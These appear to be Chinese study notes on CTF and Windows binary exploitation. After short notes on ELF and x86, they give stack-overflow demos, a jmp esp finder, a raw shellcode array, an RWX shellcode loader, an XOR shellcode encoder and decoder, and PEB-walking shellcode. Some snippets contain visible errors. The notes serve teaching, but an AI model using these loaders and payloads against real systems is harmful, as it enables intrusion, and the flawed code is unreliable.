书籍

第一章

CTF:Capture The Flag
竞赛模式:解题模式(RE逆向工程、Pwn漏洞挖掘与利用、Web渗透、Crypto密码学、Mobile移动安全、Misc杂项)
、攻防模式、混合模式
著名赛事:DEFCON CTF、Pwn2Own、CGC、XCTF、强网杯、HITCON CTF、TCTF
网络安全会议:RSA、BlackHat、ISC
学术会议:CCS、NDSS、Oakland S&P(A)、USENIX(A)


第二章

编译器的结构可分为前端和后端,前端是机器无关的,其功能是把源程序分解成组成要素和相应的语法结构,通过这个结构创建源程序的中间表示,同时搜集和源程序相关的信息,存放到符号表中;后端是及其相关的,其功能是根据中间表示和符号表信息构造目标程序。
GCC的编译主要分为四个阶段:预处理(-E)、编译(-S)、汇编(-c)、链接。
ELF(Executable and Linkable Format)格式是COFF格式的变种。
ELF文件分为三种类型:可执行文件(.EXEC)、可重定位文件(.REL)和共享目标文件(.DYN);
通常目标文件都会包含代码(.text)、数据(.data)和BSS(.bss)三个节,BSS节用于保存未初始化的全局变量和局部静态变量。


第三章

最先诞生的是复杂指令集计算机(CISC),典型代表就是x86处理器。
对于x86处理器而言,有三个最主要的操作模式:保护模式、实地址模式和系统管理模式,此外还有一个保护模式的子模式,称为虚拟8086模式。
x86汇编语言主要的语法风格有两种:AT&T风格和Intel风格。


第四章


第五章


视频

漏洞分析与利用
漏洞是bug的一种。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
//栈溢出-临近变量淹没
#include<stdio.h>
#include<string.h>
#define PASSWORD "1234567"

int verify_password(char* password)
{
int authenticated;
char buffer[8];
authenticated = strcmp(password, PASSWORD);
strcpy(buffer, password); //输入 12345678 ,覆盖authenticated的值,返回0
return authenticated;
}

int main()
{
int valid_flag = 0;
char password[1024];
while (1)
{
printf("input:");
scanf("%s",password);
valid_flag = verify_password(password);
if (valid_flag)
{
printf("error\n");
}
else
{
printf("right\n");
}
}
return 0;
}

栈溢出-返回地址覆盖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
//栈溢出-手工代码植入
#include<stdio.h>
#include<stdlib.h>
#include<Windows.h>

#define PASSWORD "1234567"
int verify_password(char* password)
{
int authenticated;
char buffer[44];
authenticated = strcmp(password, PASSWORD);
strcpy(buffer, password);
return authenticated;
}

int main()
{
int valid_flag = 0;
char password[1024];
FILE* fp;
LoadLibrary("user32.dll");
if (!(fp = fopen("C:\\Users\\VirAy\\Desktop\\flag.txt", "rw+")))
{
exit(0);
}
fscanf(fp, "%s", password);
valid_flag = verify_password(password);
if (valid_flag)
{
printf("Password is correct!\n");
}
else
{
printf("Password is incorrect!\n");
}
fclose(fp);
}

函数代码在栈中保存顺序:
buffer
前栈帧EBP
返回地址
ESP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//寻找jmp esp
#include<stdio.h>
#include<stdlib.h>
#include<Windows.h>

#define DLL_NAME "user32.dll"

int main(int argc, char* argv[])
{
HINSTANCE hInstance = LoadLibrary(DLL_NAME);
if (!hInstance)
{
exit(0);
}
BYTE* ptr;
ptr = (BYTE*)hInstance;
BOOL flag = false;
int count = 0;
for (int i = 0; !flag; i++)
{
if (ptr[i] == 0Xff && ptr[i + 1] == 0Xe4)
{
int address = (int)ptr + i;
printf("opcode address:0x%x\n",address);
count++;
if (count == 50)
{
system("pause");
}
}
}
return 0;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
unsigned char SHELLCODE[189] = {
0x83, 0xC0, 0x14, 0x33, 0xC9, 0x8A, 0x1C, 0x08,
0x80, 0xF3, 0x44, 0x88, 0x1C, 0x08, 0x41, 0x80,
0xFB, 0x90, 0x75, 0xF1, 0xB8, 0x2C, 0x2E, 0x4E,
0x7C, 0x5A, 0x2C, 0x27, 0xCD, 0x95, 0x0B, 0x2C,
0x76, 0x30, 0xD5, 0x48, 0xCF, 0xB0, 0xC9, 0x3A,
0xB0, 0x77, 0x9F, 0xF3, 0x40, 0x6F, 0xA7, 0x22,
0xFF, 0x77, 0x76, 0x17, 0x2C, 0x31, 0x37, 0x21,
0x36, 0x10, 0x77, 0x96, 0x20, 0xCF, 0x1E, 0x74,
0xCF, 0x0F, 0x48, 0xCF, 0x0D, 0x58, 0xCF, 0x4D,
0xCF, 0x2D, 0x4C, 0xE9, 0x79, 0x2E, 0x4E, 0x7C,
0x5A, 0x31, 0x41, 0xD1, 0xBB, 0x13, 0xBC, 0xD1,
0x24, 0xCF, 0x01, 0x78, 0xCF, 0x08, 0x41, 0x3C,
0x47, 0x89, 0xCF, 0x1D, 0x64, 0x47, 0x99, 0x77,
0xBB, 0x03, 0xCF, 0x70, 0xFF, 0x47, 0xB1, 0xDD,
0x48, 0xFA, 0x42, 0x7E, 0x80, 0x30, 0x4C, 0x85,
0x8E, 0x43, 0x47, 0x94, 0x02, 0xAF, 0xB5, 0x7F,
0x10, 0x60, 0x58, 0x31, 0xA0, 0xCF, 0x1D, 0x60,
0x47, 0x99, 0x32, 0xCF, 0x78, 0x3F, 0xCF, 0x1D,
0x58, 0x47, 0x99, 0x47, 0x68, 0xFF, 0xD1, 0x1B,
0xEF, 0x13, 0x25, 0x79, 0x2E, 0x4E, 0x7F, 0x5A,
0x31, 0xED, 0x77, 0x9F, 0x17, 0x2C, 0x33, 0x21,
0x37, 0x30, 0x2C, 0x22, 0x25, 0x2D, 0x28, 0xCF,
0x80, 0x17, 0x14, 0x14, 0x17, 0xBB, 0x13, 0xB8,
0x17, 0xBB, 0x13, 0xBC, 0xD4
};

int main(int argc,char** argv)
{
__asm
{
LEA EAX,SHELLCODE
PUSH EAX
RET
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//计算函数哈希
#include<stdio.h>
#include<stdlib.h>
#include<time.h>
#include<Windows.h>

DWORD GetHash(char *fun_name)
{
DWORD d = 0;
while (*fun_name)
{
d = ((d << 25) | (d >> 7));
d += *fun_name;
fun_name++;
}
return d;
}

int main(int argc,char** argv)
{
DWORD hash;
hash = GetHash((char*)"MessageBoxA");
printf("%.8x\h",hash);
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//加载shellcode
#include<stdio.h>
#include<Windows.h>

int main()
{
FILE* fp = fopen("file.bin", "rb");
if (fp)
{
fseek(fp, 0, SEEK_END);
DWORD dwSize = ftell(fp);
fseek(fp, 0, SEEK_SET);
LPVOID pAddr = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
fread(pAddr, dwSize, 1, fp);
fclose(fp);
__asm {
mov eax, pAddr;
call eax;
}

}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
//异或加密shellcode
#include<stdio.h>
#include<stdlib.h>
#include<Windows.h>
#include<string.h>

char SHELLCODE[189] = {
0x83, 0xC0, 0x14, 0x33, 0xC9, 0x8A, 0x1C, 0x08,
0x80, 0xF3, 0x44, 0x88, 0x1C, 0x08, 0x41, 0x80,
0xFB, 0x90, 0x75, 0xF1, 0xB8, 0x2C, 0x2E, 0x4E,
0x7C, 0x5A, 0x2C, 0x27, 0xCD, 0x95, 0x0B, 0x2C,
0x76, 0x30, 0xD5, 0x48, 0xCF, 0xB0, 0xC9, 0x3A,
0xB0, 0x77, 0x9F, 0xF3, 0x40, 0x6F, 0xA7, 0x22,
0xFF, 0x77, 0x76, 0x17, 0x2C, 0x31, 0x37, 0x21,
0x36, 0x10, 0x77, 0x96, 0x20, 0xCF, 0x1E, 0x74,
0xCF, 0x0F, 0x48, 0xCF, 0x0D, 0x58, 0xCF, 0x4D,
0xCF, 0x2D, 0x4C, 0xE9, 0x79, 0x2E, 0x4E, 0x7C,
0x5A, 0x31, 0x41, 0xD1, 0xBB, 0x13, 0xBC, 0xD1,
0x24, 0xCF, 0x01, 0x78, 0xCF, 0x08, 0x41, 0x3C,
0x47, 0x89, 0xCF, 0x1D, 0x64, 0x47, 0x99, 0x77,
0xBB, 0x03, 0xCF, 0x70, 0xFF, 0x47, 0xB1, 0xDD,
0x48, 0xFA, 0x42, 0x7E, 0x80, 0x30, 0x4C, 0x85,
0x8E, 0x43, 0x47, 0x94, 0x02, 0xAF, 0xB5, 0x7F,
0x10, 0x60, 0x58, 0x31, 0xA0, 0xCF, 0x1D, 0x60,
0x47, 0x99, 0x32, 0xCF, 0x78, 0x3F, 0xCF, 0x1D,
0x58, 0x47, 0x99, 0x47, 0x68, 0xFF, 0xD1, 0x1B,
0xEF, 0x13, 0x25, 0x79, 0x2E, 0x4E, 0x7F, 0x5A,
0x31, 0xED, 0x77, 0x9F, 0x17, 0x2C, 0x33, 0x21,
0x37, 0x30, 0x2C, 0x22, 0x25, 0x2D, 0x28, 0xCF,
0x80, 0x17, 0x14, 0x14, 0x17, 0xBB, 0x13, 0xB8,
0x17, 0xBB, 0x13, 0xBC, 0xD4
};

// 加密函数,将输入数据进行异或加密后保存到文件
void encoder(char *input, unsigned char key)
{
int i = 0, len = 0;
FILE *fp;
unsigned char *output;

len = strlen(input);
output = (unsigned char *)malloc(len + 1);
if (!output)
{
printf("Error:Memory Allocation Failed\n");
exit(1);
}

// 进行异或加密操作
for (i = 0; i < len; i++)
{
output[i] = input[i] ^ key;
}

if (!(fp = fopen("encode.txt", "wb"))) // 以二进制写模式打开文件更合适,避免文本模式的一些潜在转换问题
{
printf("Error:File Not Found\n");
free(output); // 如果文件打开失败,释放已分配的内存
exit(1);
}

// 将加密后的数据写入文件
fwrite(output, sizeof(unsigned char), len, fp);
fclose(fp);
free(output);
}

int main()
{
encoder(SHELLCODE, 0xFF);
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//shellcode解码
__asm int 3
__asm{
nop
nop
nop
xor ecx,ecx
decode_loop:
mov bl,[eax+ecx]
xor bl,key
mov[eax+ecx],bl
inc ecx
cmp bl,0x90
jne decode_loop
nop
nop
nop
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
//通用shellcode
#include<stdio.h>
#include<stdlib.h>
#include<Windows.h>
#include<string.h>
#pragma code_seg("shell")
#pragma comment(link,"/entry:myshellcode")
void myshellcode()
{
typedef FARPROC (WINAPI *fnGetProcAddress)(HMODULE hModule,LPCSTR lpProcName);
typedef HMODULE (WINAPI *fnLoadLibraryExA)(LPCSTR lpLibFileName,HANDLE hFile,DWORD dwFlags);
DWORD dwKernel32Addr=0;
__asm{
//*****获取kernel32.dll模块基址开始*****
push eax
mov eax,dword ptr fs:[30]
mov eax,[eax+0x0C]
mov eax,[eax+0x1C]
mov eax,[eax]
mov eax,[eax+0x08]
mov dwKernel32Addr,eax
pop eax
//*****获取kernel32.dll模块基址结束*****
}
//*****获取GetProcAddress函数地址开始*****
DWORD dwAddrBase=dwKernel32Addr;
PIMAGE_DOS_HEADER pDosHeader;
PIMAGE_NT_HEADERS pNtHeader;
pDosHeader=(PIMAGE_DOS_HEADER)dwAddrBase;
pNtHeader=(PIMAGE_NT_HEADERS)(dwAddrBase+pDosHeader->e_lfanew);
PIMAGE_DATA_DIRECTORY pDataDir;
PIMAGE_EXPORT_DIRECTORY pExportDir;
pDataDir=pNtHeader->OptionalHeader.DataDirectory+IMAGE_DIRECTORY_ENTRY_EXPORT;
pExportDir=(PIMAGE_EXPORT_DIRECTORY)(dwAddrBase+pDataDir->VirtualAddress);

PDWORD pAddrOfFun=(PWORD)(pExportDir->AddressOfFunctions+dwAddrBase);
PDWORD pAddrOfName=(PDWORD)(pExportDir->AddressOfNames+dwAddrBase);
PWORD pAddrOfOrd=(PWORD)(pExportDir->AddressOfNameOrdinals+dwAddrBase);
DWORD dwFunAddr;
for(DWORD i=0;i<pExportDir->NumberOfNames;i++)
{
char *pName=(char*)(pAddrOfName[i]+dwAddrBase);
if(strcmp(pName,"GetProcAddress")==0)
{
dwFunAddr=pAddrOfFun[pAddrOfOrd[i]]+dwAddrBase;
break;
}
}
//*****获取GetProcAddress函数地址结束*****
char szLoadLibraryExA[]={'L','o','a','d','L','i','b','r','a','r','y','E','x','A','\0'};
//char szUser32[]={'u','s','e','r','3','2','\0'};
//char szMessageBoxA[]={'M','e','s','s','a','g','e','B','o','x','A','\0'};
//char szExitProcess[]={'E','x','i','t','P','r','o','c','e','s','s','\0'};
fnGetProcAddress pfnGetProcAddress=(fnGetProcAddress)dwFunAddr;
LoadLibraryExA pfnLoadLibraryExA=(fnLoadLibraryExA)pfnGetProcAddress((HMODULE)dwKernel32Addr,szLoadLibraryExA);
}
堆内存 栈内存
典型用例 动态增长的链表等数据结构 函数局部数组
申请方式 使用函数申请,通过指针使用 直接声明
释放方式 使用函数释放 系统回收
管理方式 使用者申请与释放 系统完成申请与释放
所处位置 变化范围很大 0X0012XXXX
增长方向 由低到高 由高到低

windows堆分配
通过堆,内存管理器将一块较大的内存空间委托给堆管理器来管理;

大内存:内存管理器分配堆,调用虚拟内存分配API来从内存管理器分配内存,虚拟内存API包括VirtualAlloc、VirtualAllocEx、VirtualFree、VirtualFreeEx、VirtualLock、VirtualUnload、VirtualPotect、VirtualQuery等;

进程默认堆
创建进程时操作系统为进程创建的默认堆:ntdll! KiUserApcDispather-> ntdll! LdrpInitialize-> ntdll! LdrplInitializeProcess-> ntdll! RtlCreateHeap
创建好的堆的句柄保存在PEB结构的ProcessHeap字段中;